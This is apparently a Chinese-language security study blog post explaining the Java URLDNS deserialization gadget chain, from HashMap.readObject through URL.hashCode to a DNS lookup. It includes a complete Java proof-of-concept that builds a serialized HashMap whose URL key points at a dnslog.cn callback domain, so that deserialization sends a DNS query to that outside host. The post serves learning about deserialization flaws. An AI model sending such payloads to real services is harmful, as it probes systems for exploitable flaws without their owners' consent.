Featured image of post JavaSec URLDNS

JavaSec URLDNS

URLDNS反序列化学习

什么是反序列化

序列化指的是把类实例化的对象转化成字节流或者字符串,便于传输

对于Java序列化的类需要实现Serializable接口

反序列化即将字节流与字符串重新转化回对象

反序列化时调用

ObjectInputStream ois = new ObjectInputStream(fis)) {

// 反序列化对象
Dog dog = (Dog) ois.readObject();

原理

入口点:

java.util.HashMap.readObject

putVal(hash(key), key, value, false, false);

其中hash方法调用了键对象的hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

利用链

先看java.net.URL类,URL重写了hashCode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

hashCode是私有属性,防止重复调用,首次实例化对象时默认为-1,因此会调用handler.hashCode方法

该方法中getHostAddress尝试获取url的IP地址

InetAddress addr = getHostAddress(u);

最终在InetAddress中实例化域名对象时触发DNS查询

if (addrs == null) {
    // create a NameServiceAddresses instance which will look up
    // the name service and install it within cache...
Addresses oldAddrs = cache.putIfAbsent(
        host,
            addrs = new NameServiceAddresses(host)
    );
    if (oldAddrs != null) { // lost putIfAbsent race
addrs = oldAddrs;
    }
}

Payload

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

public class URLDemo {

    public static void main(String[] args) throws Exception {
        Date nowTime = new Date();
        HashMap hashmap = new HashMap();
        URL url = new URL("http://lttx9f.dnslog.cn");
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限
        filed.set(url, 209);
        hashmap.put(url, 209);
        System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
        filed.set(url, -1);

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(hashmap);
            objectOutputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./dnsser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

踩坑

filed.setAccessible(true);  // 绕过Java语言权限控制检查的权限

访问私有属性在Java9以上需要额外参数,于是我想构建时使用JAVA8

若使用了高版本特性编写了JAVA代码,构建时再使用JAVA8会报错java: 警告: 源发行版 18 需要目标发行版 18,建议直接以JAVA8重新启个项目,不然我也不知道哪个是新特性啊。

参考文献

Java安全学习—URLDNS链 - FreeBuf网络安全行业门户

使用 Hugo 构建
主题 StackJimmy 设计